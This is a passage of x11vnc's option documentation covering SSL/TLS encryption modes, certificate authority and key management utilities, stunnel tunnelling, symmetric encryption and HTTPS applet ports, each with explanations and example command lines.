- redirection of the connected VNC viewer to the Xvnc.
-
- So in Xvnc.redirect x11vnc does no VNC but merely
- transfers the data back and forth. This should be
- faster then x11vnc's polling method, but not as fast
- as connecting directly to the Xvnc with the VNC Viewer.
- The idea here is to take advantage of x11vnc's display
- finding/creating scheme, SSL, and perhaps a few others.
- Most of x11vnc's options do not apply in this mode.
-
- Xvnc.redirect should also work for the vnc.so X server
- module for the h/w display however it will work only
- for finding the display and the user must already be
- logged into the X console.
-
--vencrypt mode The VeNCrypt extension to the VNC protocol allows
- encrypted SSL/TLS connections. If the -ssl mode is
- enabled, then VeNCrypt is enabled as well BY DEFAULT
- (they both use a SSL/TLS tunnel, only the protocol
- handshake is a little different.)
-
- To control when and how VeNCrypt is used, specify the
- mode string. If mode is "never", then VeNCrypt is
- not used. If mode is "support" (the default) then
- VeNCrypt is supported. If mode is "only", then the
- similar and older ANONTLS protocol is not simultaneously
- supported. x11vnc's normal SSL mode (vncs://) will be
- supported under -ssl unless you set mode to "force".
-
- If mode is prefixed with "nodh:", then Diffie Hellman
- anonymous key exchange is disabled. If mode is prefixed
- with "nox509:", then X509 key exchange is disabled.
-
- To disable all Anonymous Diffie-Hellman access
- (susceptible to Man-In-The-Middle attack) you will need
- to supply "-vencrypt nodh:support -anontls never"
- or "-vencrypt nodh:only"
-
- If mode is prefixed with "newdh:", then new Diffie
- Hellman parameters are generated for each connection
- (this can be time consuming: 1-60 secs; see -dhparams
- below for a faster way) rather than using the
- fixed values in the program. Using fixed, publicly
- known values is not known to be a security problem.
- This setting applies to ANONTLS as well.
-
- Long example: -vencrypt newdh:nox509:support
-
- Also, if mode is prefixed with "plain:", then
- if -unixpw mode is active the VeNCrypt "*Plain"
- username+passwd method is enabled for Unix logins.
- Otherwise in -unixpw mode the normal login panel is
- provided.
-
- You *MUST* supply the -ssl option for VeNCrypt to
- be active. The -vencrypt option only fine-tunes its
- operation.
-
--anontls mode The ANONTLS extension to the VNC protocol allows
- encrypted SSL/TLS connections. If the -ssl mode is
- enabled, then ANONTLS is enabled as well BY DEFAULT
- (they both use a SSL/TLS tunnel, only the protocol
- handshake is a little different.)
-
- ANONTLS is an older SSL/TLS mode introduced by vino.
-
- It is referred to as 'TLS' for its registered VNC
- security-type name, but we use the more descriptive
- 'ANONTLS' here because it provides only Anonymous
- Diffie-Hellman encrypted connections, and hence no
- possibility for certificate authentication.
-
- To control when and how ANONTLS is used, specify the
- mode string. If mode is "never", then ANONTLS is not
- used. If mode is "support" (the default) then ANONTLS
- is supported. If mode is "only", then the similar
- VeNCrypt protocol is not simultaneously supported.
- x11vnc's normal SSL mode (vncs://) will be supported
- under -ssl unless you set mode to "force".
-
- If mode is prefixed with "newdh:", then new Diffie
- Hellman parameters are generated for each connection
- (this can be time consuming: 1-60 secs; see -dhparams
- below for a faster way) rather than using the
- fixed values in the program. Using fixed, publicly
- known values is not known to be a security problem.
- This setting applies to VeNCrypt as well. See the
- description of "plain:" under -vencrypt.
-
- Long example: -anontls newdh:plain:support
-
- You *MUST* supply the -ssl option for ANONTLS to
- be active. The -anontls option only fine-tunes its
- operation.
-
--sslonly Same as: "-vencrypt never -anontls never" i.e. it
- disables the VeNCrypt and ANONTLS encryption methods
- and only allows standard SSL tunneling. You must also
- supply the -ssl ... option (see below.)
-
-
--dhparams file For some operations a set of Diffie Hellman parameters
- (prime and generator) is needed. If so, use the
- parameters in "file". In particular, the VeNCrypt and
- ANONTLS anonymous DH mode need them. By default a
- fixed set is used. If you do not want to do that you
- can specify "newdh:" to the -vencrypt and -anontls
- options to generate a new set each session. If that
- is too slow for you, use -dhparams file to a set you
- created manually via "openssl dhparam -out file 1024"
-
--nossl Disable the -ssl option (see below). Since -ssl is off
- by default -nossl would only be used on the commandline
- to unset any *earlier* -ssl option (or -svc...)
-
--ssl [pem] Use the openssl library (www.openssl.org) to provide a
- built-in encrypted SSL/TLS tunnel between VNC viewers
- and x11vnc. This requires libssl support to be
- compiled into x11vnc at build time. If x11vnc is not
- built with libssl support it will exit immediately when
- -ssl is prescribed. See the -stunnel option below for
- an alternative.
-
- The VNC Viewer-side needs to support SSL/TLS as well.
- See this URL and also the discussion below for
- ideas on how to enable SSL support for the viewer:
- http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-tun
- nel-viewers . x11vnc provides an SSL enabled Java
- viewer applet in the classes/ssl directory (-http or
- -httpdir options.) The SSVNC viewer package supports
- SSL tunnels too.
-
- If the VNC Viewer supports VeNCrypt or ANONTLS (vino's
- encryption mode) they are also supported by the -ssl
- mode (see the -vencrypt and -anontls options for more
- info; use -sslonly to disable both of them.)
-
- Use "-ssl /path/to/mycert.pem" to specify an SSL
- certificate file in PEM format to use to identify and
- provide a key for this server. See openssl(1) for more
- info about PEMs and the -sslGenCert and "-ssl SAVE"
- options below for how to create them.
-
- The connecting VNC viewer SSL tunnel can (at its option)
- authenticate this server if it has the public key part
- of the certificate (or a common certificate authority,
- CA, is a more sophisticated way to verify this server's
- cert, see -sslGenCA below). This authentication is
- done to prevent Man-In-The-Middle attacks. Otherwise,
- if the VNC viewer simply accepts this server's key
- WITHOUT verification, the traffic is protected from
- passive sniffing on the network, but *NOT* from
- Man-In-The-Middle attacks. There are hacker tools
- like dsniff/webmitm and cain that implement SSL
- Man-In-The-Middle attacks.
-
- If [pem] is empty or the string "SAVE" then the
- openssl(1) command must be available to generate the
- certificate the first time. A self-signed certificate
- is generated (see -sslGenCA and -sslGenCert for use
- of a Certificate Authority.) It will be saved to the
- file ~/.vnc/certs/server.pem. On subsequent calls if
- that file already exists it will be used directly.
-
- Use "SAVE_NOPROMPT" to avoid being prompted to
- protect the generated key with a passphrase. However in
- -inetd and -bg modes there will be no prompting for a
- passphrase in either case.
-
- If [pem] is "SAVE_PROMPT" the server.pem certificate
- will be created based on your answers to its prompts for
- all info such as OrganizationalName, CommonName, etc.
-
- Use "SAVE-<string>" and "SAVE_PROMPT-<string>"
- to refer to the file ~/.vnc/certs/server-<string>.pem
- instead (it will be generated if it does not already
- exist). E.g. "SAVE-charlie" will store to the file
- ~/.vnc/certs/server-charlie.pem
-
- Examples: x11vnc -ssl SAVE -display :0 ...
- x11vnc -ssl SAVE-someother -display :0 ...
-
- If [pem] is "TMP" and the openssl(1) utility
- command exists in PATH, then a temporary, self-signed
- certificate will be generated for this session. If
- openssl(1) cannot be used to generate a temporary
- certificate x11vnc exits immediately. The temporary
- cert will be discarded when x11vnc exits.
-
- If successful in using openssl(1) to generate a
- temporary certificate in "SAVE" or "TMP" creation
- modes, the public part of it will be displayed to stderr
- (e.g. one could copy it to the client-side to provide
- authentication of the server to VNC viewers.)
-
- NOTE: In "TMP" mode, unless you safely copy the
- public part of the temporary Cert to the viewer for
- authenticate *every time* (unlikely...), then only
- passive sniffing attacks are prevented and you are
- still open to Man-In-The-Middle attacks. This is
- why the default "SAVE" mode is preferred (and more
- sophisticated CA mode too). Only with saved keys AND
- the VNC viewer authenticating them (via the public
- certificate), are Man-In-The-Middle attacks prevented.
-
- If [pem] is "ANON" then the Diffie-Hellman anonymous
- key exchange method is used. In this mode there
- are *no* SSL certificates and so it is not possible
- to authenticate either the VNC server or VNC client.
- Thus only passive network sniffing attacks are avoided:
- the "ANON" method is susceptible to Man-In-The-Middle
- attacks. "ANON" is not recommended; instead use
- a SSL PEM you created or the default "SAVE" method.
-
- See -ssldir below to use a directory besides the
- default ~/.vnc/certs
-
- If your x11vnc binary was not compiled with OpenSSL
- library support, use of the -ssl option will induce an
- immediate failure and exit. For such binaries, consider
- using the -stunnel option for SSL encrypted connections.
-
- Misc Info: In temporary cert creation mode "TMP", set
- the env. var. X11VNC_SHOW_TMP_PEM=1 to have x11vnc print
- out the entire certificate, including the PRIVATE KEY
- part, to stderr. There are better ways to get/save this
- info. See "SAVE" above and "-sslGenCert" below.
-
--ssltimeout n Set SSL read timeout to n seconds. In some situations
- (i.e. an iconified viewer in Windows) the viewer stops
- talking and the connection is dropped after the default
- timeout (25s for about the first minute, 43200s later).
- Set to zero to poll forever. Set to a negative value
- to use the builtin setting.
-
- Note that this value does NOT apply to the *initial* ssl
- init connection. The default timeout for that is 20sec.
- Use -env SSL_INIT_TIMEOUT=n to modify it.
-
--sslnofail Exit at the first SSL connection failure. Useful when
- scripting SSL connections (e.g. x11vnc is started via
- ssh) and you do not want x11vnc waiting around for more
- connections, tying up ports, etc.
-
--ssldir dir Use "dir" as an alternate ssl certificate and key
- management toplevel directory. The default is
- ~/.vnc/certs
-
- This directory is used to store server and other
- certificates and keys and also other materials. E.g. in
- the simplest case, "-ssl SAVE" will store the x11vnc
- server cert in dir/server.pem
-
- Use of alternate directories via -ssldir allows you to
- manage multiple VNC Certificate Authority (CA) keys.
- Another use is if ~/.vnc/cert is on an NFS share you
- might want your certificates and keys to be on a local
- filesystem to prevent network snooping (for example
- -ssldir /var/lib/x11vnc-certs).
-
- -ssldir affects nearly all of the other -ssl* options,
- e.g. -ssl SAVE, -sslGenCert, etc..
-
--sslverify path For either of the -ssl or -stunnel modes, use "path"
- to provide certificates to authenticate incoming VNC
- *Client* connections (normally only the server is
- authenticated in SSL.) This can be used as a method
- to replace standard password authentication of clients.
-
- If "path" is a directory it contains the client (or CA)
- certificates in separate files. If path is a file,
- it contains one or more certificates. See special tokens
- below. These correspond to the "CApath = dir" and
- "CAfile = file" stunnel options. See the stunnel(8)
- manpage for details.
-
- Examples:
- x11vnc -ssl -sslverify ~/my.crt
- x11vnc -ssl -sslverify ~/my_pem_dir/
-
- Note that if path is a directory, it must contain
- the certs in separate files named like <HASH>.0, where
- the value of <HASH> is found by running the command
- "openssl x509 -hash -noout -in file.crt". Evidently
- one uses <HASH>.1 if there is a collision...
-
- The the key-management utility "-sslCertInfo HASHON"
- and "-sslCertInfo HASHOFF" will create/delete these
- hashes for you automatically (via symlink) in the HASH
- subdirs it manages. Then you can point -sslverify to
- the HASH subdir.
-
- Special tokens: in -ssl mode, if "path" is not a file or
- a directory, it is taken as a comma separated list of
- tokens that are interpreted as follows:
-
- If a token is "CA" that means load the CA/cacert.pem
- file from the ssl directory. If a token is "clients"
- then all the files clients/*.crt in the ssl directory
- are loaded. Otherwise the file clients/token.crt
- is attempted to be loaded. As a kludge, use a token
- like ../server-foo to load a server cert if you find
- that necessary.
-
- Use -ssldir to use a directory different from the
- ~/.vnc/certs default.
-
- Note that if the "CA" cert is loaded you do not need
- to load any of the certs that have been signed by it.
- You will need to load any additional self-signed certs
- however.
-
- Examples:
- x11vnc -ssl -sslverify CA
- x11vnc -ssl -sslverify self:fred,self:jim
- x11vnc -ssl -sslverify CA,clients
-
- Usually "-sslverify CA" is the most effective.
- See the -sslGenCA and -sslGenCert options below for
- how to set up and manage the CA framework.
-
-
-
- NOTE: the following utilities, -sslGenCA, -sslGenCert,
- -sslEncKey, -sslCertInfo, and -sslCRL are provided for
- completeness, but for casual usage they are overkill.
-
- They provide VNC Certificate Authority (CA) key creation
- and server / client key generation and signing. So they
- provide a basic Public Key management framework for
- VNC-ing with x11vnc. (note that they require openssl(1)
- be installed on the system)
-
- However, the simplest usage mode, "-ssl TMP" (where
- x11vnc automatically generates its own, self-signed,
- temporary key and the VNC viewers always accept it,
- e.g. accepting via a dialog box) is probably safe enough
- for most scenarios. CA management is not needed.
-
- To protect against Man-In-The-Middle attacks the "TMP"
- mode can be improved by using "-ssl SAVE" (same as
- "-ssl", i.e. the default) to have x11vnc create a
- longer term self-signed certificate, and then (safely)
- copy the corresponding public key cert to the desired
- client machines (care must be taken the private key part
- is not stolen; you will be prompted for a passphrase).
-
- So keep in mind no CA key creation or management
- (-sslGenCA and -sslGenCert) is needed for either of
- the above two common usage modes.
-
- One might want to use -sslGenCA and -sslGenCert
- if you had a large number of VNC client and server
- workstations. That way the administrator could generate
- a single CA key with -sslGenCA and distribute its
- certificate part to all of the workstations.
-
- Next, he could create signed VNC server keys
- (-sslGenCert server ...) for each workstation or user
- that then x11vnc would use to authenticate itself to
- any VNC client that has the CA cert.
-
- Optionally, the admin could also make it so the
- VNC clients themselves are authenticated to x11vnc
- (-sslGenCert client ...) For this -sslverify would be
- pointed to the CA cert (and/or self-signed certs).
-
- x11vnc will be able to use all of these cert and
- key files. On the VNC client side, they will need to
- be "imported" somehow. Web browsers have "Manage
- Certificates" actions as does the Java applet plugin
- Control Panel. stunnel can also use these files (see
- the ss_vncviewer example script in the FAQ and SSVNC.)
-
--sslCRL path Set the Certificate Revocation Lists (CRL) to "path".
- This setting applies for both -ssl and -stunnel modes.
-
- If path is a file, the file contains one or more CRLs
- in PEM format. If path is a directory, it contains
- hash named files of CRLs in the usual OpenSSL manner.
- See the OpenSSL and stunnel(8) documentation for
- more info.
-
- This option only applies if -sslverify has been
- supplied: it checks for revocation along the
- certificate chain used to verify the VNC client.
- The -sslCRL setting will be ignored when -sslverify is
- not specified.
-
- Note that if a CRL's expiration date has passed, all
- SSL connections will fail regardless of if they are
- related to the subject of the CRL or not.
-
- Only rarely will one's x11vnc -ssl infrastructure be so
- large that this option would be useful (since normally
- maintaining the contents of the -sslverify file or
- directory should be enough.) However, when using
- x11vnc with a Certificate Authority (see -sslGenCA)
- to authenticate Clients via SSL/TLS, the -sslCRL option
- can be useful to revoke users' certs whose private SSL
- keys were lost or stolen (e.g. laptop.) This way a new
- CA cert+key does not need to be created and new signed
- client keys generated and distributed to all users.
-
- To create a CRL file with revoked certificates the
- commands 'openssl ca -revoke ...' and 'openssl ca
- -gencrl ...' are useful. (Run them in ~/.vnc/certs)
-
--sslGenCA [dir] Generate your own Certificate Authority private key,
- certificate, and other files in directory [dir].
- x11vnc then exits.
-
- If [dir] is not supplied, a -ssldir setting is used,
- or otherwise ~/.vnc/certs is used.
-
- This command also creates directories where server and
- client certs and keys will be stored. The openssl(1)
- program must be installed on the system and available
- in PATH.
-
- After the CA files and directories are created the
- x11vnc command exits; the VNC server is not run.
-
- You will be prompted for information to put into the CA
- certificate. The info does not have to be accurate just
- as long as clients accept the cert for VNC connections.
- You will also need to supply a passphrase of at least
- 4 characters for the CA private key.
-
- Once you have generated the CA you can distribute
- its certificate part, [dir]/CA/cacert.pem, to other
- workstations where VNC viewers will be run. One will
- need to "import" this certificate in the applications,
- e.g. Web browser, Java applet plugin, stunnel, etc.
- Next, you can create and sign keys using the CA with
- the -sslGenCert option below.
-
- Examples:
- x11vnc -sslGenCA
- x11vnc -sslGenCA ~/myCAdir
- x11vnc -ssldir ~/myCAdir -sslGenCA
-
- (the last two lines are equivalent)
-
--sslGenCert type name Generate a VNC server or client certificate and private
- key pair signed by the CA created previously with
- -sslGenCA. The openssl(1) program must be installed
- on the system and available in PATH.
-
- After the Certificate is generated x11vnc exits; the
- VNC server is not run.
-
- The type of key to be generated is the string "type".
- It is either "server" (i.e. for use by x11vnc) or
- "client" (for a VNC viewer). Note that typically
- only "server" is used: the VNC clients authenticate
- themselves by a non-public-key method (e.g. VNC or
- unix password). "type" is required.
-
- An arbitrary default name you want to associate with
- the key is supplied by the "name" string. You can
- change it at the various prompts when creating the key.
- "name" is optional.
-
- If name is left blank for clients keys then "nobody"
- is used. If left blank for server keys, then the
- primary server key: "server.pem" is created (this
- is the saved one referenced by "-ssl SAVE" when the
- server is started)
-
- If "name" begins with the string "self:" then
- a self-signed certificate is created instead of one
- signed by your CA key.
-
- If "name" begins with the string "req:" then only a
- key (.key) and a certificate signing *request* (.req)
- are generated. You can then send the .req file to
- an external CA (even a professional one, e.g. Thawte)
- and then combine the .key and the received cert into
- the .pem file with the same basename.
-
- The distinction between "server" and "client" is
- simply the choice of output filenames and sub-directory.
- This makes it so the -ssl SAVE-name option can easily
- pick up the x11vnc PEM file this option generates.
- And similarly makes it easy for the -sslverify option
- to pick up your client certs.
-
- There is nothing special about the filename or directory
- location of either the "server" and "client" certs.
- You can rename the files or move them to wherever
- you like.
-
- Precede this option with -ssldir [dir] to use a
- directory other than the default ~/.vnc/certs You will
- need to run -sslGenCA on that directory first before
- doing any -sslGenCert key creation.
-
- Note you cannot recreate a cert with exactly the same
- distiguished name (DN) as an existing one. To do so,
- you will need to edit the [dir]/CA/index.txt file to
- delete the line.
-
- Similar to -sslGenCA, you will be prompted to fill
- in some information that will be recorded in the
- certificate when it is created.
-
- Tip: if you know the fully-qualified hostname other
- people will be connecting to, you can use that as the
- CommonName "CN" to avoid some applications (e.g. web
- browsers and java plugin) complaining that it does not
- match the hostname.
-
- You will also need to supply the CA private key
- passphrase to unlock the private key created from
- -sslGenCA. This private key is used to sign the server
- or client certificate.
-
- The "server" certs can be used by x11vnc directly by
- pointing to them via the -ssl [pem] option. The default
- file will be ~/.vnc/certs/server.pem. This one would
- be used by simply typing -ssl SAVE. The pem file
- contains both the certificate and the private key.
- server.crt file contains the cert only.
-
- The "client" cert + private key file will need
- to be copied and imported into the VNC viewer
- side applications (Web browser, Java plugin,
- stunnel, etc.) Once that is done you can delete the
- "client" private key file on this machine since
- it is only needed on the VNC viewer side. The,
- e.g. ~/.vnc/certs/clients/<name>.pem contains both
- the cert and private key. The <name>.crt contains the
- certificate only.
-
- NOTE: It is very important to know one should
- generate new keys with a passphrase. Otherwise if an
- untrusted user steals the key file he could use it to
- masquerade as the x11vnc server (or VNC viewer client).
- You will be prompted whether to encrypt the key with
- a passphrase or not. It is recommended that you do.
- One inconvenience to a passphrase is that it must
- be typed in EVERY time x11vnc or the client app is
- started up.
-
- Examples:
-
- x11vnc -sslGenCert server
- x11vnc -ssl SAVE -display :0 ...
-
- and then on viewer using ss_vncviewer stunnel wrapper
- (see the FAQ):
- ss_vncviewer -verify ./cacert.crt hostname:0
-
- (this assumes the cacert.crt cert from -sslGenCA
- was safely copied to the VNC viewer machine where
- ss_vncviewer is run)
-
- Example using a name:
-
- x11vnc -sslGenCert server charlie
- x11vnc -ssl SAVE-charlie -display :0 ...
-
- Example for a client certificate (rarely used):
-
- x11vnc -sslGenCert client roger
- scp ~/.vnc/certs/clients/roger.pem somehost:.
- rm ~/.vnc/certs/clients/roger.pem
-
- x11vnc is then started with the option -sslverify
- ~/.vnc/certs/clients/roger.crt (or simply -sslverify
- roger), and on the viewer user on somehost could do
- for example:
-
- ss_vncviewer -mycert ./roger.pem hostname:0
-
- If you set the env. var REQ_ARGS='...' it will be
- passed to openssl req(1). A common use would be
- REQ_ARGS='-days 1095' to bump up the expiration date
- (3 years in this case).
-
--sslEncKey pem Utility to encrypt an existing PEM file with a
- passphrase you supply when prompted. For that key to be
- used (e.g. by x11vnc) the passphrase must be supplied
- each time.
-
- The "SAVE" notation described under -ssl applies as
- well. (precede this option with -ssldir [dir] to refer
- a directory besides the default ~/.vnc/certs)
-
- The openssl(1) program must be installed on the system
- and available in PATH. After the Key file is encrypted
- the x11vnc command exits; the VNC server is not run.
-
- Examples:
- x11vnc -sslEncKey /path/to/foo.pem
- x11vnc -sslEncKey SAVE
- x11vnc -sslEncKey SAVE-charlie
-
--sslCertInfo pem Prints out information about an existing PEM file.
- In addition the public certificate is also printed.
- The openssl(1) program must be in PATH. Basically the
- command "openssl x509 -text" is run on the pem.
-
- After the info is printed the x11vnc command exits;
- the VNC server is not run.
-
- The "SAVE" notation described under -ssl applies
- as well.
-
- Using "LIST" will give a list of all certs being
- managed (in the ~/.vnc/certs dir, use -ssldir to refer
- to another dir). "ALL" will print out the info for
- every managed key (this can be very long). Giving a
- client or server cert shortname will also try a lookup
- (e.g. -sslCertInfo charlie). Use "LISTL" or "LL"
- for a long (ls -l style) listing.
-
- Using "HASHON" will create subdirs [dir]/HASH and
- [dir]/HASH with OpenSSL hash filenames (e.g. 0d5fbbf1.0)
- symlinks pointing up to the corresponding *.crt file.
- ([dir] is ~/.vnc/certs or one given by -ssldir.)
- This is a useful way for other OpenSSL applications
- (e.g. stunnel) to access all of the certs without
- having to concatenate them. x11vnc will not use them
- unless you specifically reference them. "HASHOFF"
- removes these HASH subdirs.
-
- The LIST, LISTL, LL, ALL, HASHON, HASHOFF words can
- also be lowercase, e.g. "list".
-
--sslDelCert pem Prompts you to delete all .crt .pem .key .req files
- associated with [pem]. x11vnc then exits. "SAVE"
- and lookups as in -sslCertInfo apply as well.
-
--sslScripts Prints out both the 'genCA' and 'genCert' x11vnc
- openssl wrapper scripts for you to examine, modify, etc.
- The scripts are printed to stdout and then the x11vnc
- program exits.
-
-
--stunnel [pem] Use the stunnel(8) (stunnel.mirt.net) to provide an
- encrypted SSL tunnel between viewers and x11vnc.
-
- This external tunnel method was implemented prior to the
- integrated -ssl encryption described above. It still
- works well and avoids the requirement of linking with
- the OpenSSL libraries. This mode requires stunnel
- to be installed on the system and available via PATH
- (n.b. stunnel is often installed in sbin directories).
- Version 4.x of stunnel is assumed (but see -stunnel3
- below.)
-
- [pem] is optional, use "-stunnel /path/to/stunnel.pem"
- to specify a PEM certificate file to pass to stunnel.
- See the -ssl option for more info on certificate files.
-
- Whether or not your stunnel has its own certificate
- depends on your stunnel configuration; stunnel often
- generates one at install time. See your stunnel
- documentation for details. In any event, if you want to
- use this certificate you must supply the full path to it
- as [pem]. Note: the file may only be readable by root.
-
- [pem] may also be the special strings "TMP", "SAVE",
- and "SAVE..." as described in the -ssl option.
- If [pem] is not supplied, "SAVE" is assumed.
-
- Note that the VeNCrypt, ANONTLS, and "ANON" modes
- are not supported in -stunnel mode.
-
- stunnel is started up as a child process of x11vnc and
- any SSL connections stunnel receives are decrypted and
- sent to x11vnc over a local socket. The strings
- "The SSL VNC desktop is ..." and "SSLPORT=..."
- are printed out at startup to indicate this.
-
- The -localhost option is enforced by default to avoid
- people routing around the SSL channel. Use -env
- STUNNEL_DISABLE_LOCALHOST=1 to disable this security
- requirement.
-
- Set -env STUNNEL_DEBUG=1 for more debugging printout.
-
- Set -env STUNNEL_PROG=xxx to the full path of stunnel
- program you want to be used (e.g. /usr/bin/stunnel4).
-
- Set -env STUNNEL_LISTEN=xxx to the address of the
- network interface to listen on (the default is to listen
- on all interfaces), e.g. STUNNEL_LISTEN=192.168.1.100.
-
- A simple way to add IPv6 support is STUNNEL_LISTEN=::
-
- Your VNC viewer will also need to be able to connect
- via SSL. Unfortunately not too many do this. See the
- information about SSL viewers under the -ssl option.
- The x11vnc project's SSVNC is an option.
-
- Also, in the x11vnc distribution, patched TightVNC
- and UltraVNC Java applet jar files are provided in
- the classes/ssl directory that do SSL connections.
- Enable serving them with the -http, -http_ssl, or
- -httpdir (see the option descriptions for more info.)
-
- Note that for the Java viewer applet usage the
- "?PORT=xxxx" in the various URLs printed at startup
- will need to be supplied to the web browser to connect
- properly.
-
- Currently the automatic "single port" HTTPS mode of
- -ssl is not fully supported in -stunnel mode. However,
- it can be emulated via:
-
- % x11vnc -stunnel -http_ssl -http_oneport ...
-
- In general, it is also not too difficult to set up
- an stunnel or other SSL tunnel on the viewer side.
- A simple example on Unix using stunnel 3.x is:
-
- % stunnel -c -d localhost:5901 -r remotehost:5900
- % vncviewer localhost:1
-
- For Windows, stunnel has been ported to it and there
- are probably other such tools available. See the FAQ
- and SSVNC for more examples.
-
--stunnel3 [pem] Use version 3.x stunnel command line syntax instead of
- version 4.x. The -http/-httpdir Java applet serving
- is currently not available in this mode.
-
--enc cipher:keyfile Use symmetric encryption with cipher "cipher"
- and secret key data in "keyfile". If keyfile is
- pw=<string> then "string" is used as the key data.
-
- NOTE: It is recommended that you use SSL via the -ssl
- option instead of this option because SSL is well
- understood and takes great care to establish unique
- session keys and is more compatible with other software.
- Use this option if you do not want to deal with SSL
- certificates for authentication and do not want to
- use SSH but want some encryption for your VNC session.
- Or if you must interface with a symmetric key tunnel
- that you do not have control over.
-
- Note that this mode will NOT work with the UltraVNC DSM
- plugins because they alter the RFB protocol in addition
- to tunnelling with the symmetric cipher (an unfortunate
- choice of implementation...)
-
- cipher can be one of: arc4, aesv2, aes-cfb, blowfish,
- aes256, or 3des. See the OpenSSL documentation for
- more info. The keysize is 128 bits (except for aes256).
- Here is one way to make a keyfile with that many bits:
-
- dd if=/dev/random of=./my.key bs=16 count=1
-
- you will need to securely share this key with the other
- side of the VNC connection (See SSVNC for examples).
-
- Example: -enc blowfish:./my.key
- Example: -enc blowfish:pw=swordfish
-
- By default 16 bytes of random salt followed by 16 bytes
- of random initialization vector are sent at the very
- beginning of the stream. The other side must read these
- and initialize their cipher with them. These values
- make the session key unique (without them the security
- is minimal). Similarly, the other side must send us
- its random salt and IV with those same lengths.
-
- The salt and key data are combined to create a session
- key using an md5 hash as described in EVP_BytesToKey(3).
-
- The exact call is: EVP_BytesToKey(Cipher, EVP_md5(),
- salt, keydata, len, 1, keystr, NULL); where salt is
- the random data as described above, and keydata is the
- shared secret key data. keystr is the resulting session
- key. The cipher is then seeded with keystr and uses
- the random initialization vector as its first block.
-
- To modify the amount of random salt and initialization
- vector use cipher@n,m where n is the salt length and
- m the initialization vector length. E.g.
-
- -enc aes-cfb@8,16:./my.key
-
- It is not a good idea to set either one to zero,
- although you may be forced to if the other side of the
- tunnel is not under your control.
-
- To skip the salt and EVP_BytesToKey MD5 entirely (no
- hashing is done: the keydata is directly inserted into
- the cipher) specify "-1" for the salt, e.g.
-
- -enc blowfish@-1,16:./my.key
-
- The message digest can also be changed to something
- besides the default MD5. Use cipher@md+n,m where "md"
- can be one of sha, sha1, md5, or ripe. For example:
-
- -enc arc4@sha+8,16:./my.key
-
- The SSVNC vnc viewer project supplies a symmetric
- encryption tool named "ultravnc_dsm_helper" that can
- be used on the viewer side. For example:
-
- ssvncviewer exec='ultravnc_dsm_helper arc4 my.key 0 h:p'
-
- where h:p is the hostname and port of the x11vnc server.
- ultravnc_dsm_helper may also be used standalone to
- provide a symmetric encryption tunnel for any viewer
- or server (VNC or otherwise.) The cipher (1st arg)
- is basically the same syntax as we use above.
-
- Also see the 'Non-Ultra DSM' SSVNC option for the
- 'UltraVNC DSM Encryption Plugin' advanced option.
-
- For both ways of using the viewer, you can specify the
- salt,ivec sizes (in GUI or, e.g. arc4@8,16).
-
--https [port] Use a special, separate HTTPS port (-ssl and
- -stunnel modes only) for HTTPS Java viewer applet
- downloading. I.e. not 5900 and not 5800 (the defaults.)
-
- BACKGROUND: In -ssl mode, it turns out you can use the
- single VNC port (e.g. 5900) for both VNC and HTTPS
- connections. (HTTPS is used to retrieve a SSL-aware
- VncViewer.jar applet that is provided with x11vnc).
- Since both use SSL the implementation was extended to
- detect if HTTP traffic (i.e. GET) is taking place and
- handle it accordingly. The URL would be, e.g.:
-
- https://mymachine.org:5900/
-
- This is convenient for firewalls, etc, because only one
- port needs to be allowed in. However, this heuristic
- adds a few seconds delay to each connection and can be
- unreliable (especially if the user takes much time to
- ponder the Certificate dialogs in his browser, Java VM,
- or VNC Viewer applet. That's right 3 separate "Are
- you sure you want to connect?" dialogs!)
-
- END OF BACKGROUND.
-
- USAGE: So use the -https option to provide a separate,
- more reliable HTTPS port that x11vnc will listen on. If
- [port] is not provided (or is 0), one is autoselected.
- The URL to use is printed out at startup.
-
- The SSL Java applet directory is specified via the
- -httpdir option. If not supplied, -https will try
- to guess the directory as though the -http option
- was supplied.
-
--httpsredir [port] In -ssl mode with the Java applet retrieved via HTTPS,
- when the HTML file containing applet parameters
- ('index.vnc' or 'proxy.vnc') is sent do NOT set the
- applet PORT parameter to the actual VNC port but set it
- to "port" instead. If "port" is not supplied, then
- the port number is guessed from the Host: HTTP header.
-
- This is useful when an incoming TCP connection
- redirection is performed by a router/gateway/firewall
- from one port to an internal machine where x11vnc is
- listening on a different port. The Java applet needs to
- connect to the firewall/router port, not the VNC port
- on the internal workstation. For example, one could
- redir from mygateway.com:443 to workstation:5900.
-
- This spares the user from having to type in
- https://mygateway.com/?PORT=443 into their web
- browser. Note that port 443 is the default https port;
- other ports must be explicitly indicated, for example:
- https://mygateway.com:8000/?PORT=8000. To avoid having
- to include the PORT= in the browser URL, simply supply
- "-httpsredir" to x11vnc.
-
- This option does not work in -stunnel mode.
-
- More tricks: set the env var X11VNC_EXTRA_HTTPS_PARAMS
- to be extra URL parameters to use. This way you do
- not need to specify extra PARAMS in the index.vnc file.
- E.g. x11vnc -env X11VNC_EXTRA_HTTPS_PARAMS='?GET=1' ...
-
- If you do not want to expose the non-SSL HTTP port to
- the network (i.e. you just want the single VNC/HTTPS
- port, e.g. 5900, open for connections) then specify the
- option -env X11VNC_HTTP_LISTEN_LOCALHOST=1 This way
- the connection to the LibVNCServer httpd server will
- only be available on localhost (note that in -ssl mode,
- HTTPS requests are redirected from SSL to the non-SSL
- LibVNCServer HTTP server.)
-
--http_oneport For UN-encrypted connections mode (i.e. no -ssl,
- -stunnel, or -enc options), allow the Java VNC Viewer
- applet to be downloaded thru the VNC port via HTTP.
-
- That is to say, you can use a single port for Java
- applet viewer connections by using a URL in your web
- browser like this, for example:
-
- http://hostname:5900
-
- The regular, two-port mode, URL http://hostname:5800
- will continue to work as well.
-
- As mentioned above, this mode will NOT work with
- the -ssl, -stunnel, or -enc encryption options.
- Note that is it equivalent to '-enc none' (i.e. it
- uses the same detection mechanism as for HTTPS, but
- with no encryption.)
-
- HTTPS single-port is on by default in -ssl encrypted
- mode (and -enc too), so you only need -http_oneport
- when doing non-SSL encrypted connections.
-
- This mode could also be useful for SSH tunnels since
- it means only one port needs to be redirected.
-
- The -httpsredir option may also be useful for this
- mode when using an SSH tunnel as well as for router
- port redirections.
-
- Note that the -env X11VNC_HTTP_LISTEN_LOCALHOST=1
- option described above under -httpsredir applies for
- the LibVNCServer httpd server in all cases (ssl or not.)
-
--ssh user@host:disp Create a remote listening port on machine "host"
- via a SSH tunnel using the -R rport:localhost:lport
- method. lport will be the local x11vnc listening port,
- so a connection to rport (5900+disp) on "host"
- will reach x11vnc. E.g. fred@snoopy.com:0
-
- This could be useful if a firewall/router prevents
- incoming connections to the x11vnc machine, but
